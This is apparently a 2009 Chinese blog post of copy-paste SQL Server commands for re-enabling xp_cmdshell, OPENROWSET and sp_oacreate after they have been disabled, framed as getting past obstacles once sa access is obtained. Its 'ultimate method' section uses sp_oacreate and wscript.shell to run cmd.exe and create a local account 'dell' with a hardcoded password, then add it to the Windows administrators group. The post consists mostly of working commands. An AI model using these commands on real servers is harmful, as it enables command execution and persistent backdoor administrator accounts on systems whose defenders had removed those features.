sql server 2005下開啓xp_cmdshell的辦法

sql server 2005下開啓xp_cmdshell的辦法
2009年05月09日 星期六 下午 06:06
sql server 2005下開啓xp_cmdshell的辦法
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
SQL2005開啓'OPENROWSET'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
SQL2005開啓'sp_oacreate'支持的方法:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
突破SA的各種困難
常見情況恢復執行xp_cmdshell
1 未能找到存儲過程'master..xpcmdshell'.
恢復方法:查詢分離器連接後,
第一步執行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然後按F5鍵命令執行完畢
2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復方法:查詢分離器連接後,
第一步執行:sp_dropextendedproc "xp_cmdshell"
第二步執行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然後按F5鍵命令執行完畢
3 無法在庫 xpweb70.dll 中找到函數 xp_cmdshell。原因: 127(找不到指定的程序。)
恢復方法:查詢分離器連接後,
第一步執行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然後按F5鍵命令執行完畢
四.終極方法.
如果以上方法均不可恢復,請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接後,
2000servser系統:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add'
xp或2003server系統:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators dell /add'
--------------
xp_cmdshell新的恢復辦法
刪除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
恢復
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
這樣可以直接恢復,不用去管sp_addextendedproc是不是存在
-----------------------------
刪除擴展存儲過過程xp_cmdshell的語句:
exec sp_dropextendedproc 'xp_cmdshell'
恢復cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
開啓cmdshell的sql語句
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判斷存儲擴展是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結果爲1就ok
恢復xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回結果爲1就ok
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章